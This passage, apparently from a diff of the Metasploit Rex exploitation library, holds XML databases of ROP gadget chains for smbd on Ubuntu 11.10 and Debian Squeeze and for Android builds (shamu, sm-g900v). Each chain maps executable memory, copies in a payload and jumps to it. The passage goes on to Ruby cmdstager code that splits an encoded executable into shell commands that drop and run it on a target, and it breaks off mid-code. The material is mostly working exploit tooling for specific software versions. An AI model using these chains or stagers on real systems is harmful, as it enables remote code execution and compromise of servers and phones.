<target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x0000f3b1">pop eax; ret</gadget>
|
||||
<gadget offset="0x00991ff0">mmap64@got</gadget>
|
||||
<gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
|
||||
<gadget offset="0x008c8997">jmp eax</gadget>
|
||||
<gadget offset="0x0009ee21">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
|
||||
<gadget offset="0x0034fbd2">pop edx ; ret</gadget>
|
||||
<gadget offset="0x0099a000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x0034c2bc">mov dword [edx], eax ; ret; || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget offset="0x001fc04c">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x000a1d24">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x001e0d59">push esp ; pop ebx ; pop esi ; ret || ebx = esp</gadget>
|
||||
<gadget value ="0x00000000">junk for esi</gadget>
|
||||
<gadget offset="0x0036fd9a">pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x001a73b2">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
|
||||
<gadget offset="0x0008c5ac">pop eax; ret</gadget>
|
||||
<gadget offset="0x00991904">memcpy@got</gadget>
|
||||
<gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x001726b5">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x006a3bba">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x000b64ec">add esp, 0x4 ; pop esi ; pop edi ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0002ab2c">pushad, ret</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
|
||||
|
||||
ROP CHAIN for smbd 2:3.5.8~dfsg-1ubuntu2
|
||||
<compatibility>
|
||||
<target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x0000f445">pop eax; ret</gadget>
|
||||
<gadget offset="0x008c1008">mmap64@got</gadget>
|
||||
<gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
|
||||
<gadget offset="0x0009e8e4">jmp eax</gadget>
|
||||
<gadget offset="0x0009db61">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
|
||||
<gadget offset="0x001f6142">pop edx ; ret</gadget>
|
||||
<gadget offset="0x008c9000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x00347b8c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x0021d553">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x001b1fe0">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x000e817f">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = esp</gadget>
|
||||
<gadget offset="0x00277540">pop ebp ; ret</gadget>
|
||||
<gadget value ="0x0000003c">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x0011d3a6">add eax, ebp ; mov ebx, 0x81FFF807 ; ret </gadget>
|
||||
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||
<gadget offset="0x0000f445">pop eax; ret</gadget>
|
||||
<gadget offset="0x008c0964">memcpy@got</gadget>
|
||||
<gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x0009ee99">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x00148cc6">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0000dbcf">pushad, ret</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
-->
|
||||
<!-- ROP CHAIN for smbd 2:3.5.6~dfsg-3squeeze6
|
||||
<compatibility
|
||||
<target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
|
||||
</compatibility>
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00021cd9">pop eax; ret</gadget>
|
||||
<gadget offset="0x008cf86c">mmap64@got</gadget>
|
||||
<gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
|
||||
<gadget offset="0x000234e5">jmp eax</gadget>
|
||||
<gadget offset="0x000b0331">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
|
||||
<gadget offset="0x0001cf12">pop edx ; ret</gadget>
|
||||
<gadget offset="0x008d6000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x00353f4c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x000b98e9">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x006bffd2">mov edx, ecx ; mov eax, edx ; pop ebp ; ret || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x003660e4">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x00394107">pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x0017892d">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
|
||||
<gadget offset="0x00021cd9">pop eax; ret</gadget>
|
||||
<gadget offset="0x008cf1e8">memcpy@got</gadget>
|
||||
<gadget offset="0x002fd4a7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x0001f666">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x000b9ac5">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x0033e7ea">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x00020453">pushad, ret</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
-->
|
||||
</db>
|
|
@ -0,0 +1,225 @@
|
|||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>lrx</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0xb66a0000">
|
||||
<gadget value="junk">value to be skipped (r3)</gadget>
|
||||
<gadget value="junk">value to be skipped (r4)</gadget>
|
||||
<gadget offset="0x000042f9">pop {r0, r1, r2, r3, r4, r7, pc}</gadget>
|
||||
<gadget value="0x00000000">mmap64 addres hint (none)</gadget>
|
||||
<gadget value="0x00001000">mmap64 length (1 page)</gadget>
|
||||
<gadget value="0x00000007">mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)</gadget>
|
||||
<gadget value="0x00000022">mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)</gadget>
|
||||
<gadget offset="0x001127b8">ptr to mmap64 (less 0x20)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x0008b7d9">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
||||
<gadget value="0xffffffff">mmap64 fd</gadget>
|
||||
<gadget value="0x00000000">mmap64 fd</gadget>
|
||||
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
||||
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x00058e63">pop {r4, pc}</gadget>
|
||||
<gadget offset="0x00110438">ptr to memcpy (less 0x20)</gadget>
|
||||
<gadget offset="0x00061597">pop {r1, r2, r7, pc}</gadget>
|
||||
<gadget value="0xc600613c">memcpy src (address of payload)</gadget>
|
||||
<gadget value="size">memcpy length (payload size)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x0008b7d9">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
||||
<gadget value="junk">value to be skipped (r3)</gadget>
|
||||
<gadget value="junk">value to be skipped (r4)</gadget>
|
||||
<gadget value="junk">value to be skipped (r5)</gadget>
|
||||
<gadget value="junk">value to be skipped (r6)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x0002fed3">bx r0</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>lmy-1</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0xb66a0000">
|
||||
<gadget value="junk">value to be skipped (r3)</gadget>
|
||||
<gadget value="junk">value to be skipped (r4)</gadget>
|
||||
<gadget offset="0x000bfdbf">pop {r0, r1, r2, r3, r4, r7, pc}</gadget>
|
||||
<gadget value="0x00000000">mmap64 addres hint (none)</gadget>
|
||||
<gadget value="0x00001000">mmap64 length (1 page)</gadget>
|
||||
<gadget value="0x00000007">mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)</gadget>
|
||||
<gadget value="0x00000022">mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)</gadget>
|
||||
<gadget offset="0x001137b4">ptr to mmap64 (less 0x20)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x0008c269">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
||||
<gadget value="0xffffffff">mmap64 fd</gadget>
|
||||
<gadget value="0x00000000">mmap64 fd</gadget>
|
||||
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
||||
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x0000f379">pop {r4, pc}</gadget>
|
||||
<gadget offset="0x00111430">ptr to memcpy (less 0x20)</gadget>
|
||||
<gadget offset="0x000a1251">pop {r1, r2, r7, pc}</gadget>
|
||||
<gadget value="0xc600613c">memcpy src (address of payload)</gadget>
|
||||
<gadget value="size">memcpy length (payload size)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x0008c269">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
||||
<gadget value="junk">value to be skipped (r3)</gadget>
|
||||
<gadget value="junk">value to be skipped (r4)</gadget>
|
||||
<gadget value="junk">value to be skipped (r5)</gadget>
|
||||
<gadget value="junk">value to be skipped (r6)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x000301a5">bx r0</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>lmy-2</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0xb66a0000">
|
||||
<gadget value="junk">value to be skipped (r3)</gadget>
|
||||
<gadget value="junk">value to be skipped (r4)</gadget>
|
||||
<gadget offset="0x000bfe07">pop {r0, r1, r2, r3, r4, r7, pc}</gadget>
|
||||
<gadget value="0x00000000">mmap64 addres hint (none)</gadget>
|
||||
<gadget value="0x00001000">mmap64 length (1 page)</gadget>
|
||||
<gadget value="0x00000007">mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)</gadget>
|
||||
<gadget value="0x00000022">mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)</gadget>
|
||||
<gadget offset="0x001137b4">ptr to mmap64 (less 0x20)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x0008c231">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
||||
<gadget value="0xffffffff">mmap64 fd</gadget>
|
||||
<gadget value="0x00000000">mmap64 fd</gadget>
|
||||
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
||||
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x0000f379">pop {r4, pc}</gadget>
|
||||
<gadget offset="0x00111430">ptr to memcpy (less 0x20)</gadget>
|
||||
<gadget offset="0x000042e9">pop {r1, r2, r6, pc}</gadget>
|
||||
<gadget value="0xc600613c">memcpy src (address of payload)</gadget>
|
||||
<gadget value="size">memcpy length (payload size)</gadget>
|
||||
<gadget value="junk">value to be skipped (r6)</gadget>
|
||||
<gadget offset="0x0008c231">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
||||
<gadget value="junk">value to be skipped (r3)</gadget>
|
||||
<gadget value="junk">value to be skipped (r4)</gadget>
|
||||
<gadget value="junk">value to be skipped (r5)</gadget>
|
||||
<gadget value="junk">value to be skipped (r6)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x0000b3bd">bx r0</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>shamu / LYZ28E</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0xb66a0000">
|
||||
<gadget value="junk">value to be skipped (r3)</gadget>
|
||||
<gadget value="junk">value to be skipped (r4)</gadget>
|
||||
<gadget offset="0x000bfe4f">pop {r0, r1, r2, r3, r4, r7, pc}</gadget>
|
||||
<gadget value="0x00000000">mmap64 addres hint (none)</gadget>
|
||||
<gadget value="0x00001000">mmap64 length (1 page)</gadget>
|
||||
<gadget value="0x00000007">mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)</gadget>
|
||||
<gadget value="0x00000022">mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)</gadget>
|
||||
<gadget offset="0x0011e7b0">ptr to mmap64 (less 0x20)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x0008c279">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
||||
<gadget value="0xffffffff">mmap64 fd</gadget>
|
||||
<gadget value="0x00000000">mmap64 fd</gadget>
|
||||
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
||||
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x00044f71">pop {r4, pc}</gadget>
|
||||
<gadget offset="0x0011c42c">ptr to memcpy (less 0x20)</gadget>
|
||||
<gadget offset="0x000042e9">pop {r1, r2, r6, pc}</gadget>
|
||||
<gadget value="0xc600613c">memcpy src (address of payload)</gadget>
|
||||
<gadget value="size">memcpy length (payload size)</gadget>
|
||||
<gadget value="junk">value to be skipped (r6)</gadget>
|
||||
<gadget offset="0x0008c279">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
||||
<gadget value="junk">value to be skipped (r3)</gadget>
|
||||
<gadget value="junk">value to be skipped (r4)</gadget>
|
||||
<gadget value="junk">value to be skipped (r5)</gadget>
|
||||
<gadget value="junk">value to be skipped (r6)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x0000f7cd">bx r0</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>shamu / LYZ28J</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0xb66a0000">
|
||||
<gadget value="junk">value to be skipped (r3)</gadget>
|
||||
<gadget value="junk">value to be skipped (r4)</gadget>
|
||||
<gadget offset="0x000bfe07">pop {r0, r1, r2, r3, r4, r7, pc}</gadget>
|
||||
<gadget value="0x00000000">mmap64 addres hint (none)</gadget>
|
||||
<gadget value="0x00001000">mmap64 length (1 page)</gadget>
|
||||
<gadget value="0x00000007">mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)</gadget>
|
||||
<gadget value="0x00000022">mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)</gadget>
|
||||
<gadget offset="0x0011e7b0">ptr to mmap64 (less 0x20)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x0008c231">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
||||
<gadget value="0xffffffff">mmap64 fd</gadget>
|
||||
<gadget value="0x00000000">mmap64 fd</gadget>
|
||||
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
||||
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x00044f71">pop {r4, pc}</gadget>
|
||||
<gadget offset="0x0011c42c">ptr to memcpy (less 0x20)</gadget>
|
||||
<gadget offset="0x000042e9">pop {r1, r2, r6, pc}</gadget>
|
||||
<gadget value="0xc600613c">memcpy src (address of payload)</gadget>
|
||||
<gadget value="size">memcpy length (payload size)</gadget>
|
||||
<gadget value="junk">value to be skipped (r6)</gadget>
|
||||
<gadget offset="0x0008c231">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
||||
<gadget value="junk">value to be skipped (r3)</gadget>
|
||||
<gadget value="junk">value to be skipped (r4)</gadget>
|
||||
<gadget value="junk">value to be skipped (r5)</gadget>
|
||||
<gadget value="junk">value to be skipped (r6)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x0000f83d">bx r0</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>sm-g900v / OE1</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0xb66a0000">
|
||||
<gadget value="junk">value to be skipped (r3)</gadget>
|
||||
<gadget value="junk">value to be skipped (r4)</gadget>
|
||||
<gadget offset="0x00092b85">pop {r0, r1, r2, r3, r4, r7, pc}</gadget>
|
||||
<gadget value="0x00000000">mmap64 addres hint (none)</gadget>
|
||||
<gadget value="0x00001000">mmap64 length (1 page)</gadget>
|
||||
<gadget value="0x00000007">mmap64 protection (PROT_READ|PROT_WRITE|PROT_EXEC)</gadget>
|
||||
<gadget value="0x00000022">mmap64 flags (MAP_PRIVATE|MAP_ANONYMOUS)</gadget>
|
||||
<gadget offset="0x0017af08">ptr to mmap64 (less 0x20)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x000a7a41">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
||||
<gadget value="0xffffffff">mmap64 fd</gadget>
|
||||
<gadget value="0x00000000">mmap64 fd</gadget>
|
||||
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
||||
<gadget value="0x00000000">mmap64 offset (64-bit)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x00065467">pop {r4, pc}</gadget>
|
||||
<gadget offset="0x0017a6e4">ptr to memcpy (less 0x20)</gadget>
|
||||
<gadget offset="0x0009f359">pop {r1, r2, r7, pc}</gadget>
|
||||
<gadget value="0xc600613c">memcpy src (address of payload)</gadget>
|
||||
<gadget value="size">memcpy length (payload size)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x000a7a41">ldr r4, [r4, #0x20] ; blx r4 ; pop {r3, r4, r5, r6, r7, pc}</gadget>
|
||||
<gadget value="junk">value to be skipped (r3)</gadget>
|
||||
<gadget value="junk">value to be skipped (r4)</gadget>
|
||||
<gadget value="junk">value to be skipped (r5)</gadget>
|
||||
<gadget value="junk">value to be skipped (r6)</gadget>
|
||||
<gadget value="junk">value to be skipped (r7)</gadget>
|
||||
<gadget offset="0x0000c409">bx r0</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
</db>
|
|
@ -0,0 +1,11 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/exploitation/cmdstager/base'
|
||||
require 'rex/exploitation/cmdstager/vbs'
|
||||
require 'rex/exploitation/cmdstager/certutil'
|
||||
require 'rex/exploitation/cmdstager/debug_write'
|
||||
require 'rex/exploitation/cmdstager/debug_asm'
|
||||
require 'rex/exploitation/cmdstager/tftp'
|
||||
require 'rex/exploitation/cmdstager/bourne'
|
||||
require 'rex/exploitation/cmdstager/echo'
|
||||
require 'rex/exploitation/cmdstager/printf'
|
|
@ -0,0 +1,190 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/text'
|
||||
require 'rex/arch'
|
||||
require 'msf/core/framework'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides an interface to generating cmdstagers.
|
||||
#
|
||||
###
|
||||
|
||||
class CmdStagerBase
|
||||
|
||||
def initialize(exe)
|
||||
@linemax = 2047 # covers most likely cases
|
||||
@exe = exe
|
||||
end
|
||||
|
||||
#
|
||||
# Generates the cmd payload including the h2bv2 decoder and encoded payload.
|
||||
# The resulting commands also perform cleanup, removing any left over files
|
||||
#
|
||||
def generate(opts = {})
|
||||
# Allow temporary directory override
|
||||
@tempdir = opts[:temp]
|
||||
@tempdir ||= "%TEMP%\\"
|
||||
if (@tempdir == '.')
|
||||
@tempdir = ''
|
||||
end
|
||||
|
||||
opts[:linemax] ||= @linemax
|
||||
|
||||
generate_cmds(opts)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This does the work of actually building an array of commands that
|
||||
# when executed will create and run an executable payload.
|
||||
#
|
||||
def generate_cmds(opts)
|
||||
|
||||
# Initialize an arry of commands to execute
|
||||
cmds = []
|
||||
|
||||
# Add the exe building commands
|
||||
cmds += generate_cmds_payload(opts)
|
||||
|
||||
# Add the decoder script building commands
|
||||
cmds += generate_cmds_decoder(opts)
|
||||
|
||||
compress_commands(cmds, opts)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Generate the commands to create an encoded version of the
|
||||
# payload file
|
||||
#
|
||||
def generate_cmds_payload(opts)
|
||||
|
||||
# First encode the payload
|
||||
encoded = encode_payload(opts)
|
||||
|
||||
# Now split it up into usable pieces
|
||||
parts = slice_up_payload(encoded, opts)
|
||||
|
||||
# Turn each part into a valid command
|
||||
parts_to_commands(parts, opts)
|
||||
end
|
||||
|
||||
#
|
||||
# This method is intended to be override by the child class
|
||||
#
|
||||
def encode_payload(opts)
|
||||
# Defaults to nothing
|
||||
""
|
||||
end
|
||||
|
||||
#
|
||||
# We take a string of data and turn it into an array of parts.
|
||||
#
|
||||
# We save opts[:extra] bytes out of every opts[:linemax] for the parts
|
||||
# appended and prepended to the resulting elements.
|
||||
#
|
||||
def slice_up_payload(encoded, opts)
|
||||
tmp = encoded.dup
|
||||
|
||||
parts = []
|
||||
xtra_len = opts[:extra]
|
||||
xtra_len ||= 0
|
||||
while (tmp.length > 0)
|
||||
parts << tmp.slice!(0, (opts[:linemax] - xtra_len))
|
||||
end
|
||||
|
||||
parts
|
||||
end
|
||||
|
||||
#
|
||||
# Combine the parts of the encoded file with the stuff that goes
|
||||
# before / after it -- example "echo " and " >>file"
|
||||
#
|
||||
def parts_to_commands(parts, opts)
|
||||
# Return as-is
|
||||
parts
|
||||
end
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Generate the commands that will decode the file we just created
|
||||
#
|
||||
def generate_cmds_decoder(opts)
|
||||
# Defaults to no commands.
|
||||
[]
|
||||
end
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Compress commands into as few lines as possible. Minimizes the number of
|
||||
# commands to execute while maximizing the number of commands per execution.
|
||||
#
|
||||
def compress_commands(cmds, opts)
|
||||
new_cmds = []
|
||||
line = ''
|
||||
|
||||
concat = opts[:concat_operator] || cmd_concat_operator
|
||||
|
||||
# We cannot compress commands if there is no way to combine commands on
|
||||
# a single line.
|
||||
return cmds unless concat
|
||||
|
||||
cmds.each { |cmd|
|
||||
|
||||
# If this command will fit, concat it and move on.
|
||||
if ((line.length + cmd.length + concat.length) < opts[:linemax])
|
||||
line << concat if line.length > 0
|
||||
line << cmd
|
||||
next
|
||||
end
|
||||
|
||||
# The command wont fit concat'd to this line, if we have something,
|
||||
# we have to add it to the array now.
|
||||
if (line.length > 0)
|
||||
new_cmds << line
|
||||
line = ''
|
||||
end
|
||||
|
||||
# If it won't fit even after emptying the current line, error out..
|
||||
if (cmd.length > opts[:linemax])
|
||||
raise RuntimeError, 'Line too long - %u bytes, max %u' % [cmd.length, opts[:linemax]]
|
||||
end
|
||||
|
||||
# It will indeed fit by itself, lets add it.
|
||||
line << cmd
|
||||
|
||||
}
|
||||
new_cmds << line if (line.length > 0)
|
||||
|
||||
# Return the final array.
|
||||
new_cmds
|
||||
end
|
||||
|
||||
#
|
||||
# Can be overriden. For exmaple, use for unix use ";" instead
|
||||
#
|
||||
def cmd_concat_operator
|
||||
nil
|
||||
end
|
||||
|
||||
# Should be overriden if the cmd stager needs to setup anything
|
||||
# before it's executed
|
||||
def setup(mod = nil)
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Should be overriden if the cmd stager needs to do any clenaup
|
||||
#
|
||||
def teardown(mod = nil)
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,119 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/text'
|
||||
require 'rex/arch'
|
||||
require 'msf/core/framework'
|
||||
|
||||
module Rex
|
||||
module Exploitation
|
||||
|
||||
class CmdStagerBourne < CmdStagerBase
|
||||
|
||||
def initialize(exe)
|
||||
super
|
||||
|
||||
@var_encoded = Rex::Text.rand_text_alpha(5) + '.b64'
|
||||
@var_decoded = Rex::Text.rand_text_alpha(5)
|
||||
end
|
||||
|
||||
def generate(opts = {})
|
||||
opts[:temp] = opts[:temp] || '/tmp/'
|
||||
opts[:temp] = opts[:temp].empty?? opts[:temp] : opts[:temp] + '/'
|
||||
opts[:temp] = opts[:temp].gsub(/\/{2,}/, '/')
|
||||
opts[:temp] = opts[:temp].gsub(/'/, "\\\\'")
|
||||
opts[:temp] = opts[:temp].gsub(/ /, "\\ ")
|
||||
if (opts[:file])
|
||||
@var_encoded = opts[:file] + '.b64'
|
||||
@var_decoded = opts[:file]
|
||||
end
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Override just to set the extra byte count
|
||||
#
|
||||
def generate_cmds(opts)
|
||||
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
||||
@cmd_start = "echo -n "
|
||||
